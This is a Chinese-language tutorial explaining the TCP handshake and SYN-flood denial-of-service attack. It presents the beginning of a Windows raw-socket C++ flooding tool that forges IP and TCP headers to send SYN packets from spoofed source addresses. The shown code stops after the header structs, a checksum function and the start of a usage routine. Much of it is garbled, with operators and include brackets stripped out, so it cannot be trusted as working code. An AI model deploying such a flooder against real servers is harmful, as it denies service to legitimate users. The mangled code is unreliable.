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SYNFLOOD简单分析及实现
SYN_FLOOD 简单分析及实现
声明:
此程序有一定攻击性,请只供学习之用,不要危害祖国的网络。如发动攻击一切后果。
网络上发送数据包的攻击有多种(如ICMP_FLOOD, 碎片攻击,等)其中有一种就是 利用TCP 协议三次 握手的攻击(SYN_FLOOD)。下面 就简单 讲述一下 TCP 的三次 握手。
现在 有A,B 两台 机器,其中B是SERVER.A是CLIENT.
首先 A 发送送一个 带有SYN标记(带起始序列号)的数据报 给B。
然后 B 接收, 然后 发送一个ACK+SYN(带B机的起始序列号 和 A的确认号)给A。
最后 A 再发送 一个带序列号 和 确认号的 数据报 给 B。
此时 连接 完成。
利用这个原理,如果A机在第一步伪装大量不存在的机器,给B发送大量的SYN包,那么B会以为有很多合法的机器请求连接,然后一一回应。然后等待第三次 确认建立连接。那么大量等待连接的请求被保留在栈中。一般服务器等待2分钟还没等到第三次握手,那么就会从等待连接的栈中删除连接请求。如果A的SYN发送得足够快,合法用户连接不上,那么服务器也会花费大量的资源来维护栈。从而照成D.o.S攻击。
通过RAW_SOCKET,只要你是管理员,就可以伪造IP和TCP头部,发虚假源地址的SYN请求。
简单实现如下:
/* FLOOD.CPP*/
#include stdio.h
#include winsock2.h
#include ws2tcpip.h
#include windows.h
#include time.h
#include dos.h
#pragma comment(lib, ws2_32.lib)
#define MAX_RECEIVEBYTE 255
typedef struct ip_head //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位 (如SYN,ACK,等)
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (如ICMP,TCP等)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tcp_head //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;
typedef struct tsd_head //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size 1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum 16) + (cksum 0xffff);
cksum += (cksum 16);
return (USHORT)(~cksum);
}
void usage()
{
printf(******************************
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